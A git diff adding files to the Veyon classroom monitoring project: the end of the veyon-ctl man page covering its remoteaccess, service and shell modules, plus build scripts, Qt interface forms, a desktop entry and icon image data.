+.SH REMOTEACCESS MODULE + +The remoteaccess module provides functions for a graphical remote access +to computers. These are the same function that can be accessed from the +Veyon Master. For example, the function provided by the command line tool +can be used to create a program shortcut for direct access to a +particular computer. + +.TP +.I control +This command opens a window with the remote control function that can be +used to control a remote computer. The computer name or IP address (and +optionally the TCP port) must be passed as an argument: + + \fBveyon-ctl\fR remoteaccess control 192.168.1.2 +.TP +.I view +This command opens a window with the remote view function to monitor a +remote computer. In this mode the screen content is displayed in real +time, but interaction with the computer is not possible until the +corresponding button on the tool bar has been clicked. The computer or IP +address (and optionally the TCP port) has to be passed as an argument: + + \fBveyon-ctl\fR remoteaccess view pc5:5900 + +.SH SERVICE MODULE + +The local Veyon Service can be controlled using the service module. + + +.TP +.I register +This command registers the Veyon Service in the operating system as a +service so that it starts automatically when the computer starts up. + + \fBveyon-ctl\fR service register +.TP +.I unregister +This command removes the service registration in the operating system so +that the Veyon Service will not start automatically on startup. + + \fBveyon-ctl\fR service unregister +.TP +.I start +This command starts the Veyon Service. + + \fBveyon-ctl\fR service start +.TP +.I stop +This command stops the Veyon Service. + + \fBveyon-ctl\fR service stop +.TP +.I restart +This command restarts the Veyon Service. + + \fBveyon-ctl\fR service restart +.TP +.I status +This command queries and displays the status of the Veyon Service. + + \fBveyon-ctl\fR service status + +.SH SHELL MODULE +Simple shell functionalities are provided by the shell module. If this +module is called without further arguments, an interactive mode is +started. In this mode, all CLI commands can be entered direcliy without +having to specify and call the \fBveyon-ctl\fR program for each command. The +mode can be exited by entering the keyword exit. + +Additionally the module can be used for automated processing of commands +in a text file in order to implement simple batch processing: + +.TP +.I run +This command executes the commands specified in the text file line by +line. Operations are executed independently of the result of previous +operations, i.e. an error does not lead to termination. + +.SH FURTHER INFORMATION +For more information about the \fB\fBveyon-ctl\fR\fR command, point your browser to +file:///usr/share/doc/veyon-ctl/ or https://veyon.io/. + +.SH SEE ALSO +veyon-service(1), veyon-master(1), veyon-configurator(1) + +.PP +https://veyon.io/ + +.SH AUTHOR +Veyon has been written by Tobias Junghans. +.PP +This manual page has been written by Tobias Junghans and Mike Gabriel. diff --git a/ctl/veyon-ctl.rc.in b/ctl/veyon-ctl.rc.in new file mode 100644 index 0000000..76b7f1e --- /dev/null +++ b/ctl/veyon-ctl.rc.in @@ -0,0 +1,25 @@ +#include + +VS_VERSION_INFO VERSIONINFO + FILEVERSION @VERSION_MAJOR@,@VERSION_MINOR@,@VERSION_PATCH@,@VERSION_BUILD@ + FILEFLAGSMASK VS_FFI_FILEFLAGSMASK + FILEOS VOS_NT_WINDOWS32 + FILETYPE VFT_APP + FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + //language ID = U.S. English, charset = Windows, Multilingual + BEGIN + VALUE "Comments", "Virtual Eye On Networks (http://veyon.io)\0" + VALUE "CompanyName", "Veyon Solutions\0" + VALUE "FileDescription", "Veyon Control\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + VALUE "LegalCopyright", "Copyright (c) 2017-2019 Tobias Junghans\0" + VALUE "OriginalFilename", "veyon-ctl.exe\0" + VALUE "ProductName", "Veyon\0" + VALUE "FileVersion", "@VERSION_STRING@\0" + END + END +END diff --git a/master/CMakeLists.txt b/master/CMakeLists.txt new file mode 100644 index 0000000..53f637d --- /dev/null +++ b/master/CMakeLists.txt @@ -0,0 +1,24 @@ +INCLUDE(WindowsBuildHelpers) + +FILE(GLOB master_INCLUDES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.h) +FILE(GLOB master_SOURCES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp) +FILE(GLOB master_UI ${CMAKE_CURRENT_SOURCE_DIR}/forms/*.ui) +SET(QRC_FILE ${CMAKE_CURRENT_SOURCE_DIR}/master.qrc) +QT5_WRAP_CPP(master_MOC_out ${master_INCLUDES}) +QT5_WRAP_UI(master_UIC_out ${master_UI}) +QT5_ADD_RESOURCES(master_RCC_out ${QRC_FILE}) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) +ADD_EXECUTABLE(veyon-master ${master_UIC_out} ${master_SOURCES} ${master_INCLUDES} ${master_MOC_out} ${master_RCC_out}) +TARGET_LINK_LIBRARIES(veyon-master veyon-core) + +ADD_WINDOWS_RESOURCE(veyon-master) +MAKE_GRAPHICAL_APP(veyon-master) + +INSTALL(TARGETS veyon-master RUNTIME DESTINATION bin) + +IF(VEYON_BUILD_LINUX) + XDG_INSTALL(${CMAKE_CURRENT_BINARY_DIR}/data/veyon-master.desktop ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-master.xpm ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-master.png ${CMAKE_CURRENT_SOURCE_DIR}/data/veyon-master.svg) +ENDIF() + +COTIRE_VEYON(veyon-master) diff --git a/master/data/veyon-master.desktop.in b/master/data/veyon-master.desktop.in new file mode 100644 index 0000000..34f1c03 --- /dev/null +++ b/master/data/veyon-master.desktop.in @@ -0,0 +1,11 @@ +[Desktop Entry] +Version=1.0 +Type=Application +Exec=@CMAKE_INSTALL_PREFIX@/bin/veyon-master +Icon=veyon-master +Terminal=false +Name=Veyon Master +Comment=Monitor and control remote computers +Comment[de]=Entfernte Computer beobachten und steuern +Categories=Qt;Education;Network;RemoteAccess; +Keywords=classroom,control,computer,room,lab,monitoring,teacher,student diff --git a/master/data/veyon-master.png b/master/data/veyon-master.png new file mode 100644 index 0000000000000000000000000000000000000000..cee60f2bcd0088607297de54964ac0c1d4b6d268 GIT binary patch literal 1514 zcma)5c`(~~6#rRTN1H0PTGcUITBR-9cGXqI5=*A7k^`XxEkcMRiA0b@#{?e|gDT5d|qRt1MGQkOkR8vzEPu!M(p?ZuPng9R?F7KL>Kx(qvq(^k| zAtItfiR7TT5P(c3n}_3Zgu6j8A?DF>VRlwLy+vp{UMk~B9VIt=0Uz!-A_Oco;?jn_GJ6XZh4}0Rb2cCMYN?TrQ8tD=jT8D=RB6FR!SmsI08y^Z8X(RRV#a zrlzL0wzjUWuBD}=wY9aatxYHtwzs!;baaSBqR!6FuCA`3p&_wYJUTi$Ha0dsJ}!|+ zCMG5(Cnu+-rlzN-7Z(?$QmITPTUuILUS3{VSy^3OU0Yk**x1U_o5$=uvR1O?e)z;BHenLsIzNOJTkfkj2EI}a81z@9+k1A- z0!GLC=>1}>5%a^L^H?0Jo*w}%3@GV& zEl#RLScNQ$%^CDS_X?AxF5uIE7wuY1@*Tn)N#7%4DC77$#8X6XBSV1A!X)a_+21Tu=n@W2 zl(?m68c7ASjbEkf>xy-|ohsv`&GKWlvxf$pkBm}t4Q)9-ZG{*VX<6i=(=#R(uF`l(Qy$QQpqUR;3!5Z%0_>ghm&me*q5_Z(Y(CsXa+fPCi4RK0JHm^aXxDV z5aBB`x_{;Zc>8oeONSFG)@7FBLV4tEGe<<&_-FCpVr1kt4C9K3cvIREd)&l&x;2hu zUEK$1;xAk)$X!RtwnzSTs^AX#)3`4 + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + diff --git a/master/data/veyon-master.xpm b/master/data/veyon-master.xpm new file mode 100644 index 0000000..92bb9b7 --- /dev/null +++ b/master/data/veyon-master.xpm @@ -0,0 +1,112 @@ +/* XPM */ +static char *veyon_master_32[] = { +/* columns rows colors chars-per-pixel */ +"32 32 74 1 ", +" c #535353", +". c gray33", +"X c #555555", +"o c #565656", +"O c gray34", +"+ c #585858", +"@ c #5B5B5B", +"# c gray38", +"$ c #626262", +"% c DimGray", +"& c #6A6A6A", +"* c gray42", +"= c #6C6C6C", +"- c gray43", +"; c gray44", +": c #717171", +"> c #747474", +", c gray46", +"< c #767676", +"1 c #777777", +"2 c #7C7C7C", +"3 c gray49", +"4 c #7E7E7E", +"5 c #808080", +"6 c #818181", +"7 c gray51", +"8 c gray54", +"9 c #8B8B8B", +"0 c gray55", +"q c #8D8D8D", +"w c #8E8E8E", +"e c #959595", +"r c gray59", +"t c #979797", +"y c #989898", +"u c #A2A2A2", +"i c gray64", +"p c #A4A4A4", +"a c gray66", +"s c #A9A9A9", +"d c #AAAAAA", +"f c gray67", +"g c #ACACAC", +"h c #AFAFAF", +"j c gray69", +"k c #B2B2B2", +"l c #CECECE", +"z c gray81", +"x c LightGray", +"c c gray83", +"v c gray84", +"b c #D7D7D7", +"n c gray85", +"m c #DADADA", +"M c gray86", +"N c gainsboro", +"B c #DDDDDD", +"V c #E1E1E1", +"C c #E4E4E4", +"Z c gray90", +"A c #E6E6E6", +"S c gray93", +"D c #EEEEEE", +"F c #EFEFEF", +"G c gray94", +"H c #F1F1F1", +"J c gray95", +"K c gray97", +"L c #F8F8F8", +"P c #F9F9F9", +"I c #FBFBFB", +"U c gray99", +"Y c white", +"T c None", +/* pixels */ +"TTTTTTTTTTTT........TTTTTTTTTTTT", +"TTTTTTTTT..............TTTTTTTTT", +"TTTTTTT....1gvAIIAvf1....TTTTTTT", +"TTTTTT...eAUUUUUUUUUUAq...TTTTTT", +"TTTTT..=BUUUUUUUUUUUUUUB*..TTTTT", +"TTTT..2GUUUUUUUUUUUUUUUUG7..TTTT", +"TTT..7UUUUUUUUUUUUUUUUUUUU2..TTT", +"TT..*JUUUUUUUUUUUUUUUUUUUUG=..TT", +"TT..BUUUUUUUUUUUUUUUUUUUUUUB..TT", +"T. eUUUUUUUUUUUUUUUUUUUUUUUUq..T", +"T. AUUUUUUIzu7;$$;7uxIUUUUUUA..T", +"T.1UUUUUBt+..........+tBUUUUU,.T", +"..gUUUAq................7VUUUf. ", +"..vUUp.......+kGGk+.......yIUv..", +"..AM=........gUUUUg........=vA..", +"..k+.........DUUUUG..........k..", +"..k+.........DUUUUG.........+k..", +"..AB=........kUUUUk........=vA..", +"..vUIp. .....+kDDg+.......yIUx..", +"..gUUUVe................7BUUUf..", +"T.,UUUUUBy@..........@yBUUUUU,.T", +"T..AUUUUUUJxp7;$$;7pxIUUUUUUA..T", +"T..qUUUUUUUUUUUUUUUUUUUUUUUU9..T", +"TT..BUUUUUUUUUUUUUUUUUUUUUUM..TT", +"TT..*GUUUUUUUUUUUUUUUUUUUUG=..TT", +"TTT..2UUUUUUUUUUUUUUUUUUUU2..TTT", +"TTTT..2GUUUUUUUUUUUUUUUUJ7..TTTT", +"TTTTT..=BUUUUUUUUUUUUUUv=. TTTTT", +"TTTTTT...qAUUUUUUUUUUA9...TTTTTT", +"TTTTTTT....,gvAJIAvg,....TTTTTTT", +"TTTTTTTTT..............TTTTTTTTT", +"TTTTTTTTTTTT........TTTTTTTTTTTT" +}; diff --git a/master/forms/ComputerManagementView.ui b/master/forms/ComputerManagementView.ui new file mode 100644 index 0000000..9e77dd5 --- /dev/null +++ b/master/forms/ComputerManagementView.ui @@ -0,0 +1,99 @@ + + + ComputerManagementView + + + Computer management + + + + + + + 0 + 0 + + + + QAbstractScrollArea::AdjustToContents + + + QAbstractItemView::NoEditTriggers + + + true + + + true + + + 180 + + + false + + + + + + + Computer search + + + + + + + Add room + + + + + + + Save computer/user list + + + + + + + + + addRoomButton + clicked() + ComputerManagementView + addRoom() + + + 262 + 663 + + + 262 + 375 + + + + + saveListButton + clicked() + ComputerManagementView + saveList() + + + 142 + 219 + + + 142 + 127 + + + + + + addRoom() + saveList() + + diff --git a/master/forms/ComputerMonitoringView.ui b/master/forms/ComputerMonitoringView.ui new file mode 100644 index 0000000..4453423 --- /dev/null +++ b/master/forms/ComputerMonitoringView.ui @@ -0,0 +1,83 @@ + + + ComputerMonitoringView + + + + 0 + 0 + 1155 + 670 + + + + Form + + + + 0 + + + 0 + + + 0 + + + 0 + + + + + Qt::CustomContextMenu + + + true + + + true + + + QAbstractItemView::DropOnly + + + Qt::MoveAction + + + QAbstractItemView::ExtendedSelection + + + QListView::LeftToRight + + + true + + + QListView::Adjust + + + 16 + + + QListView::IconMode + + + true + + + true + + + + + + + + FlexibleListView + QListView +
FlexibleListView.h
+
+
+ + +
diff --git a/master/forms/MainWindow.ui b/master/forms/MainWindow.ui new file mode 100644 index 0000000..a303aa2 --- /dev/null +++ b/master/forms/MainWindow.ui @@ -0,0 +1,356 @@ + + + MainWindow + + + + 0 + 0 + 1377 + 692 + + + + MainWindow + + + + :/resources/icon64.png:/resources/icon64.png + + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + + 790 + 570 + 69 + 37 + + + + Adjust optimal size + + + Auto + + + + :/resources/zoom-fit-best.png:/resources/zoom-fit-best.png + + + + + + 660 + 580 + 111 + 25 + + + + 50 + + + 1000 + + + 10 + + + 50 + + + 150 + + + Qt::Horizontal + + + + + + 20 + 570 + 227 + 37 + + + + Computer rooms + + + + :/resources/applications-education.png:/resources/applications-education.png + + + true + + + Qt::ToolButtonTextBesideIcon + + + buttonGroup + + + + + + 260 + 570 + 158 + 37 + + + + Screenshots + + + + :/resources/camera-photo.png:/resources/camera-photo.png + + + true + + + Qt::ToolButtonTextBesideIcon + + + buttonGroup + + + + + + 430 + 570 + 31 + 30 + + + + + + + + + + 1230 + 570 + 71 + 37 + + + + About Veyon + + + About + + + + :/resources/help-about.png:/resources/help-about.png + + + + + + 840 + 570 + 99 + 30 + + + + + + + 480 + 570 + 113 + 38 + + + + Search users and computers + + + + + + 610 + 570 + 31 + 30 + + + + + + + + + false + + + + 1100 + 570 + 69 + 37 + + + + Align computers to grid + + + + :/resources/align-grid.png:/resources/align-grid.png + + + + + + 960 + 570 + 69 + 37 + + + + Use custom computer placement + + + + :/resources/exchange-positions-zorder.png:/resources/exchange-positions-zorder.png + + + true + + + + + + 1110 + 570 + 99 + 30 + + + + + + + 580 + 570 + 69 + 37 + + + + Only show powered on computers + + + + :/resources/powered-on.png:/resources/powered-on.png + + + true + + + + + + + + + toolBar + + + TopToolBarArea + + + false + + + + + + + MainToolBar + QToolBar +
MainToolBar.h
+
+ + ComputerMonitoringView + QWidget +
ComputerMonitoringView.h
+ 1 +
+
+ + + + + + + aboutButton + clicked() + MainWindow + showAboutDialog() + + + 968 + 625 + + + 494 + 346 + + + + + useCustomComputerPlacementButton + toggled(bool) + alignComputersButton + setEnabled(bool) + + + 994 + 615 + + + 1134 + 615 + + + + + + showAboutDialog() + + + + + false + + + +
diff --git a/master/forms/RoomSelectionDialog.ui b/master/forms/RoomSelectionDialog.ui new file mode 100644 index 0000000..9d253cc --- /dev/null +++ b/master/forms/RoomSelectionDialog.ui @@ -0,0 +1,130 @@ + + + RoomSelectionDialog + + + + 640 + 480 + + + + Room selection + + + + + + enter search filter... + + + + + + + QAbstractScrollArea::AdjustToContents + + + QListView::Adjust + + + + + + + Qt::Horizontal + + + QDialogButtonBox::Cancel|QDialogButtonBox::Ok + + + + + + + + + buttonBox + accepted() + RoomSelectionDialog + accept() + + + 248 + 254 + + + 157 + 274 + + + + + buttonBox + rejected() + RoomSelectionDialog + reject() + + + 316 + 260 + + + 286 + 274 + + + + + filterLineEdit + textChanged(QString) + RoomSelectionDialog + updateSearchFilter() + + + 179 + 31 + + + 393 + 25 + + + + + filterLineEdit + returnPressed() + RoomSelectionDialog + accept() + + + 48 + 26 + + + 395 + 57 + + + + + listView + activated(QModelIndex) + RoomSelectionDialog + accept() + + + 312 + 134 + + + 396 + 143 + + + + + + updateSearchFilter() + + diff --git a/master/forms/ScreenshotManagementView.ui b/master/forms/ScreenshotManagementView.ui new file mode 100644 index 0000000..6581dfe --- /dev/null +++ b/master/forms/ScreenshotManagementView.ui @@ -0,0 +1,163 @@ + + + ScreenshotManagementView + + + + 0 + 0 + 286 + 496 + + + + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + + + + + 1 + 1 + + + + true + + + + + + + + + + + + + 75 + true + + + + User: + + + + + + + + + + + + + + 75 + true + + + + Computer: + + + + + + + + 75 + true + + + + Date: + + + + + + + + + + + 75 + true + + + + Time: + + + + + + + + + + + Show + + + + :/resources/edit-find.png:/resources/edit-find.png + + + + 22 + 22 + + + + + + + + Delete + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + 22 + 22 + + + + + + + + + + Qt::Vertical + + + QSizePolicy::Fixed + + + + 16 + 10 + + + + + + + + + + + + diff --git a/master/master.qrc b/master/master.qrc new file mode 100644 index 0000000..6674fa4 --- /dev/null +++ b/master/master.qrc @@ -0,0 +1,17 @@ + + + resources/zoom-fit-best.png + resources/camera-photo.png + resources/preferences-desktop-display.png + resources/preferences-desktop-display-blue.png + resources/preferences-desktop-display-orange.png + resources/preferences-desktop-display-gray.png + resources/preferences-desktop-display-red.png + resources/splash.png + resources/applications-education.png + resources/edit-find.png + resources/align-grid.png + resources/exchange-positions-zorder.png + resources/powered-on.png + + diff --git a/master/resources/align-grid.png b/master/resources/align-grid.png new file mode 100644 index 0000000000000000000000000000000000000000..e7768a55d5baf3142f4fcecf3e5585fe23617a2d GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?K3?%mjbVdLv=3*z$5DpHG+YkL80J)q69+AZi z3}rGP%((ne#VeqoWQl7;NpOBzNqJ&XDnogBxn5>oc5!lIL8@MUQTpt6Hc}v+0X`wF zK-zZQ%h1r!m$632fgHw?AirP+hi5m^fE-^>7srr@!*8!Saxo}yumRIc~}G?>BD)z4*}Q$iB}-5S*M2?PSyQq{< zjYJ|P$E58V>#nqt6eFZic2h)UpKbR$?|r`4d*465zhAnL?`dUWXMqs1VlnArsL7_l zV!%#do=Grn^!YZh-3X3!r&!09%;ufX>cUaw&kxqXHJ62H1ivfFq;>u86@CGx!n@Adq?jp%)W~yjei(!v+!=2S|Onz{`&Z zytnd!kG}xO0))UfPz3yf#C}1VK$<29Y>5JLK#v9rz=#3cfJZC{2A;dXcEH>XLI6t} z3fNjDdyffc&kjzU2{$f`8*jpkSMm0m@b`xE6HEjNYC)ojFmb1FpNZ)1QRcm4toz5= z_cPdr3{Gt(;MSht{&9j=cM|aHPXR%FmY^X^*mxR<8qbKDOvKIE;^woG787Ypj`RV@ z^?C^MydQyc-mT|+TF=WKgA2ZY0-bN0&aW-s?@9jFCl|N2U-WM;@PAqm@bpqZ$ECoI z!oX*RLC=bUI*a6;m*t(EozE}JpBF1$fGgX&t^{|L1b2hd?M84lqz9CN(3jwvviCaJ z(Fe*wSYL&z|3=uW8>&|oAbg+_s9#s9-&E~x1u_D(eZFI zm{>7if+#~TLg6CwS#+v&Pxt#=UWEOc*$2i2#v=wA9SQL+@!fK5uFwII}Wu(CNcn_kUe$u=duYhRQo%tn-{*duBYho(}B! z*u*h+p5KQdX5Rc(wV-CY%Q6k0<8p05QjnIo>!fiN{Y`@(DqH>NOxrz0_nC5AR;j_Z zCZX+R-oiSv?m|kH)1{G6jPYCb;<3b2t&`^lPVZ7?&D^ICx~EUrtF8&3Z2A27wo6^v zNX*k}MV7~D0}hpx#k260Tq{} zD^TGAb4sHnhq@3eyj9z+HrCM%VnU-s8$ufnW7qt160<{Y>_`4sip{Ju7(!#pGSub@ z8;e;~EGk#jkY=u7G|nKJ%e^hcq2=*9@BO;#=4^6WTr_=cffxEHDz`|M&bf+6TB;jr zZXYYbx20nTiKO4K3J2}majU~* zRR3^t6?&`g6Zp>JVVccas%#DXx*VAOh}`y;Fh=@U;W%Cj4&Txt86Mo zX-oVqDdlYMIh1?s_1~fLxTK1mE&&I`x9lAYRK)IpWu^1->A6kD-DEqua^P>Y} z`t{L~5;A^#t>d7B4c5|T6>47ZbQ)zmJ~D!#3_E&}VRjCu?{I%#Y5a1~p<{AguYT22 zQoB)K+DTeTXjjOtQf*MndC^gPbwtf>`EqohoA)0nHL_@QS+_pd%piOFT`(x^yOXJr+hMB&57K2Z} IMw6%h4_*h!k^lez literal 0 HcmV?d00001 diff --git a/master/resources/camera-photo.png b/master/resources/camera-photo.png new file mode 100644 index 0000000000000000000000000000000000000000..f8ab91dbb5203c46da7ec16e671913b7843da349 GIT binary patch literal 6650 zcmb7pWmFT6_x|Wf4jJ7cp%N0(HM%7PrAA113yk~_1EfJfT1r&9YePUrgLH#3T59B^ z{(Rs6-~8@5H_v@{?>*<9=ZSlzt42o5Knwr?$TZZI4IX^>{}f30V0-1PhaVii4@AQV z_#iOgJNQHX$W#5T4*ku=fqH_O=5A1Ox~;xx4t-T6@|F zcz8SH9?CF0^aN-qD;m9DJjh>2XF`Q+%jfu=OY#V{!g1jL0o4D1erT1dn`VH2d(L;H zeE~g@zVKTUzxZJ-e?>9B9WoD8b7Xz#Klk~aX*50kmbl*p7r ze$Mr)88w~D@a*5DLPC29yhR=Dzbx|Cpm&EOk)-s(?*>xXm16!6LGORWsboKHe;SU< zRAimrQK43$ug69{L|!NGk{<0}I^cR1QpPB911OpR_?IStk8XPY2dgC_i?f1qNKeb} zm4v+DgazJv#-4ftHYl%M$%PP!LOBi#My9(>%j7VDqA0VU1a`y51%&hnK`P?5+n+@l zz(pljo!k9_PdvPt5+DLD;iXx6Ym&%Vpn;Z5*oX z6^I8GB=7$-+M*qhB;T}2^{#}2IHNtN(Rsh(H6zkNKjs_x~kZ!ljq6iPX^ zzKO|-DAv43oT)+>FH*) zP8o;SB+)Xt{iqi@8xc=@*Q%NSM1TO}mpRZckNIZQ5J%WN*=tH3z5Fs`m(oECZtU)y zSebVmXDo%+&cw!i^UCSn6|0iwOFh@3?D4f+dOFn)cQpaL$PgOP^xZm}k38&A7lhs1 z2j}YSR10bf*h}PY3MxsS5Q>-Zx)DVs7k=Ihx8+Z)3uO-h5O^7csY;z>Ug_fpTozvH!>(;J zME{Ld83AV9=)N@BBaC}>?EQ0<%S4aDJo7GBXeD&Tw(T9!guXpoK`p->zkd%cBIEd8r!JwVoR}iDf>vVaJ ztZ_d?!)B0qdr)G2`qErf_~Njh&`rWd$oApu9=8RX+rj9BVMKFKmtxm~CZ%cB?EBNB zJ3$|xQ>c1q$=eEpoHA20g=dK%j+|7EK<(}2KfOYv#8_M`jB>dCdJxJ5>g81GyjbxN zkrB>#jIde#omypPTo}$~bCr0>*LhuYQhK#$`y6&J+1Mn^bKHHXHaGj|27QCU?>-IL zqWKzvzQ0N=)IajUpF*3symnthXf!PBfShSmg@$s45=sV^g?h&R%TWTx8L&%Xy1$i} zQGZ#3w9X{eN;K;fzv*fI8-Z@o%hXh{47=?hB_k`V_Sl#QZj_YlOOeXdIwTUTZ`c9D z4dNfBrWv5rWjwrz^0@h%B(ioXTdiYJW@-UJp*IPSGXGN- zap4RfBIp}&fDfnvBR0^y=md2>LascU2s(QDEutEvDk6oPh^NJ!J1iN}m$`m&&INc_ z9WOcL!LbUZ#|?UWxiv6Y14B!*)e74b)>KiS;=UhH%!}&+E^JgU^JBZVeWUX3z^7Y$ zQJ7SNG(m73>9^z?{~^!eW`5Xx@R}k+{b@TpeuuxV4c(>OTi@#o();7#meymeip)6c zRRJ<=L(PSWaIa%y?Yt9=1t9N6i2}Ipx2pD+TfJlp%50Ngy+4yIZE|d`ih{8#eo{6= zL@w5{UhhfQdJ?qEC`(H|AKvAJ;?31qY>Oj9l54uoAlm`4rXqfB@drz+Z57d_OH(2@ zbN3f(US@~?l5sO;rx`}U*en5yP4u9MR+_w+U*^(OONxO(wv49xFd~#7Go@yfY0-Bg zCi*cAP=uW^im;d(6k*WEVq*eoH0)owM!jhnOX;{Xi)1U%D0iwD@PN+O+49UIZYll$ z&aa*@GK6-Yoslx~yj&H*xeB|#8gG2879>{3{iN1-_(^2)gA zQsKc)nm)OjHQ=_eriT!HrJGY*o60L5Ss%}vgXa_>Ixz`wD%N4NqlM>Lf9|0h5-6s^ z*(Huttli|TvIvVxA=C%=-(uU>*rzp5#_!Lb^$2N8CZ0AiG&!FaJnC*cEez;C(nZOF z03j%)eF@{Ekjtaw{CC#HQYklWSV{NQ&ZLYqOaW~ziu-yQY?lQjVT6Bwtj@`uruY?l zmV;|Y4aacuew%O*h&%}qy|{VApiv6pC?k}L@;UXnxto6!dIR9XXXbSx(5`j!kA!WJnXKkWU)SA{-hi8I@TS`Zf6>9WodI=f$V?B`D_yO>&94 zzMCkWQs(8V;@7hkuTD3+VoJp2{}-=>IP%&<(-#CE=8)5;#)qLs&O~!xxXE1L=_)y|!G9J69z8v_bzR{fZ!_zGx{FQug zIgHpR)vh0#!zKnbSdHsXM}Z@wqbr&DmctteXMiBkP9q6`YAc^lb@AxcBm~u3(Lf@aB4<8Z_#=1?) z-|eIu9a(1p0g&}()9L+lu}MHsh(ts{{B6m*Vp}FTr)u*ysoJmN(&7oA$eS&cL4$=B zm0gy^`Sp~#Q@zinu7c<9J-2dqf#U-YS%U7PG4rk2nQz%G;~ZN8>|GK}hHciL>sFM_ zl0FmL@>#z!rlf2JN$sUnC*m52*<=cGX=*a$7TBZzNz=tBt2|Yaa}==Xj7(ZlZ%m?6 zG7Z-zHcSj+9v1cTZVSuRT{p=3<^J29N6US!;PBafzXHv)G_S-=YzN#ZXZ zwgr_BMX3{WFR3I;G18_*b-#s5#Mgd;7@&PFWI;NL!+tpkzuZJBs(i{voQZDnT#qTA zPk;SD*Z)9h!a^*e!c)o77^yH{jRh_bzXy z0mICAznY_kUy!i&-REW$iTLIsTrS@)cRAdsXSJmu@Rc#!e~9*2)t@s;;gh$OsF1W- zam%Rr?kY?4l{jD3ms#g;FMZ|`DT=bdfXsTM%mpmYp4LX7<#Rw;U4~(~Hcuv6-(HSy zuaDvP5caean~ubC*v?Li8z6arNnpA(nht}nY zFXdI~#Dgz6hdRxKwuBv;fs2|xOB)C2^R+S(tLlTtA9u9!=DU;?G8#XfPWPcTfw}dM zI9On)phYHE8Tj;mg+ycO-^)NDXcuM&f?yqmqY+vN8;CD`y`9B?VZOQRFt7VHIQ&e( zkCA3_rNeZ;k5y|Nvck9PKh@mjh47^{764Q&uwd+XRPu)SdP)A%LSZ7a~c#Ey;9UJC{KnZCP~ACCPmWF z^-d(MheNeHi1MZ$KeMSnStW4zDZ$^e#9?tN3}K;SUQYfdomZjyBLQ5*&mve-SXjoh z?c)?p_^kQY2t(e?i$_ND%<5dfCX6Hb_4u#7ZwG1PVggD-07ewpdLA=6*1$_b2(X8Z zq4rU#ev;36N zl`jP-n;#SLQ{wji2-%W<3`>;+;f7%d7zA$|e5DK7@OP9acBmVLHiO?-=R<6Xajrrq z)DW|^2dQqAAq1pTSCFPP$v1CJ)=ewJUz;(z=GgC%<-XLhTA+zIsxaQwO%g zyaf4lYdl&9%+fei!$KDM92R**7gmFh+9Ic02RN@Fl6H|*4YvXYj8Vt3vX!J z1w`&=um5z0?g(K2=)TSjUZSXV=2pOKb}REnUth@f7uhW|A6UJmnXKV_Mr%Nx4eWYv ztv3EWBQ*hTI@o<4aL4N;po5?RVd2x-dRrC52G8LA4tncXKFZcnOU~y!5#cC`zxz3a z45)hPuSlI2pVxL;pi{Dxz4b|c=|ru)ucZbt`xiwAi|4$}wwG>WZ1`Z3verNTw{Mnz zENSV^Yq~mSxfVl6kr5M$?X?Y#d$dXlJsr>%jn~ zT(y8BO=>uCo4Esog#Y8&RkUs)G!%RcIKwwB&+#VIG4wuO-@t1M-;nUqWplN*xVDhO zk81TZEA15_gLn4=8D2#AUY`_ogd6g*QnttGr8Z+Bz*3A<4(ejt1Bns&TN`skB$}Hj zhiRH+lJn*r+(e-n%Oh-anP&=g0dYx%Pv5{ovDgpiQ`9#EVNBBb+_L|sDM_c8T1C|A zUO_Y?#IEV>H_hAS!d3qbe$6$SYG761_48WlhNnms~2BDSjefDv|aYBhSmt72QaOt^oWd z{Q+qWhRk|f102FA4HRe(Rt?F!g{*8@aXL#do#Vk|k<02u#sx!&PUlNMZat!>r9%{8!{ zXH@?8+qgWlhlsqD8O?B`=X0WBv7aRO;ct-$xK#vPM){TAKL8Ow2{ax?c|-zghx6{3 z30qc&j1~CEL-yc7RjOV3tm>h4uh7^Ux!gsS?-}FPR?AJJdJcfBBfR;fE(DcgmzrFm zmNVW7e4%;tSxsjvy7~FX{9aN1QgYt>Yf0VB21JekfWB>@h=n97>G64cYb_o`?Svbo zNJ9Ul=~@MyJf62+7k2BSz4^;kG$*%^Rb7t3@^9M7K&U7>eY8ireoSVbk0o0C-lgd=l2DM9}CuY`N)0_?d|L+0BI2JO3aqQdn$6pNM{%L@a6 zpH0aK2`DF_YGgjl@+q`7Z$o+wYl~@H{zr}%oZPu#^=Y@Dy(VmfS`~#N6!<|XL`F5$ z_~(hOh{M9w@8kg!xww#coMtG6>((2aIgk}>3tz7QE9jbs1%zYU0-t8KJsD(O6Y3X7 zoScKP&35`jo5rOVCJeZrtxx;7@BWP6Q>l@oo@JP50X`n2!94$!bliR9jnB?6OqTXe z^J#KUL}GIb4XS2{+=nOK!#|Ml)lGpnQI#H{AN#KqIli?%$Ba(cy+0Jqb-#_t6aNq7 zm0IzDovjmTeZ94*?54OsBO)cE@Y@h#pO=w~vCA3uy)tIG^uU?(xwjT7uaio3vuxN?0=S%qz&=j^6c!6 zEdKn68e0dDY3s-J-0QX5&vEWjY?#p`;CldGZw_*iMV8+L+g_V3`Kt51(55$`BqD3H z{`oDaNz;vqe!R0)v1!5imousE(M4LJAobO%%i8YYeY&|;TZ)74m(J=zqW2dA>H9|o zikk+hulQtYI*dJGy%IIZI|h%tl{Leh9E&uV4h$MGkf7jLD*7S~_XB(48|j@dwjNE! zQNHERE_Gw|J#ap?I)M_q^|4c6Bg z_Zd6#)pN{w4RYk}_WB>wWS(t<*SjxE-rR%x%Hx}Qr_AA<~{O6Be zJV|v=}sYrv-)^_EX$q6niwW_0UCt#|ckAj+>nb8gg%X3?5 zuJ_xwC+*cPD+nIU!tGa8rK5j(TD0*^kJ%J?NoqP&uysnFWUKEY>LhB$YZMQg$Sxm5 